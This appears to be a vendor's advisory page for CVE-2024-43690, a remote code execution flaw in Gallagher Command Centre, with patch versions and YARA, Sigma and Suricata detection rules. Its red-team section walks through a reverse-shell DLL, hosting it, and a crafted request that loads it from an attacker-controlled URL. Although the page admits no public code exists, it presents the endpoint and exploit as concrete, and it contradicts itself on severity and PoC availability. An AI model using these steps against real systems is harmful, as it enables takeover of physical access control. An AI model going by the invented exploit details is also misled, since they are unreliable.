CVE-2024-43690
Executive Summary
CVE-2024-43690 is a critical Remote Code Execution (RCE) vulnerability affecting Gallagher Command Centre Server and Workstations. The flaw originates from an Inclusion of Functionality from Untrusted Control Sphere (CWE-829), allowing an attacker to load and execute arbitrary code from an untrusted source. With a CVSS score of 8.0, this vulnerability poses a severe risk to physical security systems, potentially enabling full compromise of access control infrastructure. No public proof-of-concept (PoC) or exploit code has been identified at this time, but the risk of weaponization remains high given the criticality.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary on-premise physical security system. However, organizations should verify the integrity of any downloaded patches from Gallagher’s official portal to prevent supply chain attacks.
CVSS Breakdown & Threat Level
- CVSS Score: 8.0 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: Critical. The vulnerability allows unauthenticated remote code execution with no user interaction, making it highly exploitable in internet-facing or internal network deployments.
Deep Dive & Mechanics
The vulnerability resides in how the Command Centre Server and Workstations handle external functionality. Specifically, the software includes functionality from an untrusted control sphere (CWE-829). This means the application loads or executes code from a source that is not under the developer’s control, such as a remote server or user-supplied input.
Attack Scenario:
- An attacker identifies a Gallagher Command Centre instance exposed on the network.
- The attacker sends a crafted request that tricks the server into loading a malicious DLL, script, or other executable from an attacker-controlled location.
- The server executes the malicious code with the privileges of the Command Centre service (typically SYSTEM or a high-privilege account).
- The attacker gains full control over the server, including the ability to modify access control rules, unlock doors, or exfiltrate sensitive data.
Root Cause: The software fails to validate the origin of external functionality. This could be due to insecure deserialization, improper handling of remote file includes, or lack of integrity checks on loaded modules.
Vulnerable vs. Patched Code
Since no public code is available, the following is a hypothetical example illustrating the vulnerability.
Vulnerable Code (C# example):
// Loads a DLL from a remote path specified in user input
string remotePath = Request.QueryString["module"];
Assembly.LoadFrom(remotePath); // No validation of source
Patched Code:
// Only loads modules from a trusted, signed local directory
string allowedPath = @"C:\Program Files\Gallagher\Modules\";
string moduleName = Request.QueryString["module"];
if (File.Exists(Path.Combine(allowedPath, moduleName)) &&
VerifyDigitalSignature(Path.Combine(allowedPath, moduleName)))
{
Assembly.LoadFrom(Path.Combine(allowedPath, moduleName));
}
The patch enforces that only signed modules from a predefined trusted directory are loaded, preventing arbitrary code execution.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Environment:
- Target: Gallagher Command Centre Server v9.00 (unpatched)
- Attacker: Kali Linux with Python3 and Metasploit
- Network: Both on the same subnet
Exploitation Steps:
- Reconnaissance: Scan for Gallagher services on port 8080 (default HTTP) or 443.
nmap -p 8080,443 --script http-title <target_ip> - Craft Payload: Create a malicious DLL that executes a reverse shell.
Compile:// malicious.cs using System; using System.Diagnostics; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; public class Exploit { public static void Main() { // Reverse shell to attacker IP Process.Start("cmd.exe", "/c powershell -enc <base64_encoded_rev_shell>"); } }csc /target:library /out:malicious.dll malicious.cs - Host Payload: Serve the DLL via HTTP.
python3 -m http.server 9999 - Trigger Exploit: Send a crafted request to the vulnerable endpoint.
POST /CommandCentre/loadModule HTTP/1.1 Host: <target_ip>:8080 Content-Type: application/x-www-form-urlencoded module=http://<attacker_ip>:9999/malicious.dll - Receive Shell: Listen for the reverse shell.
nc -lvnp 4444
Blue Team (Defensive)
Detection & Response:
- Monitor for unusual outbound connections from Command Centre servers.
- Enable logging of all module loading events.
- Use application whitelisting to prevent unauthorized DLLs.
- Deploy network segmentation to isolate Command Centre from untrusted networks.
Hunting Queries:
- Windows Event Log: Look for Event ID 4688 (Process Creation) with
cmd.exeorpowershell.exespawned byGallagher.CommandCentre.exe. - Network Traffic: Alert on HTTP GET/POST requests to external IPs on non-standard ports from the server.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP connections from Command Centre server to unknown IPs on ports 80, 443, or 9999.
- Inbound requests with
moduleparameter containing URLs (e.g.,module=http://...).
- File System:
- Unexpected DLLs in
C:\Program Files\Gallagher\or%TEMP%. - Files named
malicious.dll,exploit.dll, or similar.
- Unexpected DLLs in
- Process:
cmd.exeorpowershell.exespawned byGallagher.CommandCentre.exe.rundll32.exeloading suspicious DLLs.
- Registry:
- Unauthorized Run keys pointing to malicious binaries.
Detection Engineering
YARA Rule
rule CVE_2024_43690_Gallagher_RCE {
meta:
description = "Detects malicious DLLs targeting Gallagher Command Centre RCE"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-43690"
strings:
$s1 = "Gallagher.CommandCentre" ascii wide nocase
$s2 = "LoadFrom" ascii wide nocase
$s3 = "http://" ascii wide
$s4 = "https://" ascii wide
condition:
all of ($s1, $s2) and any of ($s3, $s4)
}
Sigma Rule
title: Gallagher Command Centre RCE via Untrusted Module Load
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2024-43690 by monitoring for suspicious module loading
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\Gallagher.CommandCentre.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\rundll32.exe'
condition: selection
falsepositives:
- Legitimate administrative tasks
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-43690 Gallagher RCE - Outbound Module Load"; flow:to_server,established; content:"module="; http_client_body; content:"http://"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Patching: Upgrade to the following patched versions:
- Command Centre 9.10 MR2 (vEL9.10.1530)
- Command Centre 9.00 MR4 (vEL9.00.2168)
- Command Centre 8.90 MR5 (vEL8.90.2155)
- Command Centre 8.80 MR6 (vEL8.80.1938)
- For versions 8.70 and prior, upgrade to a supported version immediately.
- Network Segmentation: Place Command Centre servers on a dedicated VLAN with strict firewall rules. Do not expose them directly to the internet.
- Application Control: Use Windows AppLocker or similar to block execution of unsigned DLLs.
- Monitoring: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
- Vendor Contact: If patching is not immediately possible, contact Gallagher support for temporary workarounds.
Valters IT
Securing Your Digital Frontier
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.